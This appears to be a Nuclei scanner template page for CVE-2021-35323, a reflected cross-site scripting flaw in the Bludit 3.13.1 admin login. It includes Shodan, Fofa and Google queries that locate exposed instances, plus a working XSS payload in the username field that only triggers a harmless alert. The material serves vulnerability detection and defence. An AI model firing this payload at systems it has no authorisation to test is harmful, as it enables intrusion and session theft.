CVE-2021-35323: Bludit 3.13.1 - Cross Site Scripting
- Template: CVE-2021-35323
- Name: Bludit 3.13.1 - Cross Site Scripting
- Description: Cross Site Scripting (XSS) vulnerability exists in bludit 3-13-1 via the username in admin/login
- Impact: Attackers can inject malicious JavaScript via XSS in the username field, potentially stealing administrator session cookies or performing administrative actions.
- Remediation: Bludit v4.0.0
- Severity: medium
- Authors: r3Y3r53
- Tags: cve2021, cve, bludit, xss, vuln
- References: https://github.com/bludit/bludit/issues/1327, https://nvd.nist.gov/vuln/detail/CVE-2021-35323, https://github.com/ARPSyndicate/cvemon
- Cves: CVE-2021-35323
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-35323.yaml
- Digest: 490a00463044022036feeaacb9e69be17a163141136b64be37cc8068f8d4d8a6b9e569a4b61b4df9022027123a66a854cb0355af5f82a73aa97dbab4b16549a0185a741b2367bdca9921
- Created at: 2023-10-17T17:47:17Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1134
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-35323.yaml
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.05091
- Epss percentile: 0.92562
- Cpe: cpe:2.3:a:bludit:bludit:3.13.1:*:*:*:*:*:*:*
Metadata
- Fofa-query: title="bludit"
- Google-query: intitle:"bludit"
- Max-request: 2
- Product: bludit
- Shodan-query: title:"Bludit", http.title:"bludit"
- Vendor: bludit
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| bludit:bludit | yes | /v1/products/bludit/bludit |
Labels
- Name: bludit - Reflected XSS
- Impact: Attackers can execute arbitrary scripts in the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.
- Remediation: Update to the latest version of bludit that patches this vulnerability or sanitize user input in the login process.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Victim needs to visit a maliciously crafted page
- Labels source: projectdiscovery
- From cve: CVE-2021-35323
```yaml
id: CVE-2021-35323
info:
name: Bludit 3.13.1 - Cross Site Scripting
author: r3Y3r53
severity: medium
description: |
Cross Site Scripting (XSS) vulnerability exists in bludit 3-13-1 via the username in admin/login
impact: |
Attackers can inject malicious JavaScript via XSS in the username field, potentially stealing administrator session cookies or performing administrative actions.
remediation: Bludit v4.0.0
reference:
- https://github.com/bludit/bludit/issues/1327
- https://nvd.nist.gov/vuln/detail/CVE-2021-35323
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-35323
cwe-id: CWE-79
epss-score: 0.05091
epss-percentile: 0.92562
cpe: cpe:2.3:a:bludit:bludit:3.13.1:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: bludit
product: bludit
shodan-query:
- title:"Bludit"
- http.title:"bludit"
fofa-query: title="bludit"
google-query: intitle:"bludit"
tags: cve2021,cve,bludit,xss,vuln
http:
- raw:
- |
GET /bludit/admin/login HTTP/1.1
Host: {{Hostname}}
- |
@timeout: 10s
POST /bludit/admin/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
tokenCSRF={{tokenCSRF}}&username=admin%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&password=pass&save=
host-redirects: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "<img src=x onerror=alert(document.domain)>") && contains(body_2, "Bludit")'
condition: and
extractors:
- type: regex
name: tokenCSRF
part: body
group: 1
regex:
- 'type="hidden" id="jstokenCSRF" name="tokenCSRF" value="(.*)"'
internal: true
digest: 490a00463044022036feeaacb9e69be17a163141136b64be37cc8068f8d4d8a6b9e569a4b61b4df9022027123a66a854cb0355af5f82a73aa97dbab4b16549a0185a741b2367bdca9921:922c64590222798bb761d5b6d8e72950
```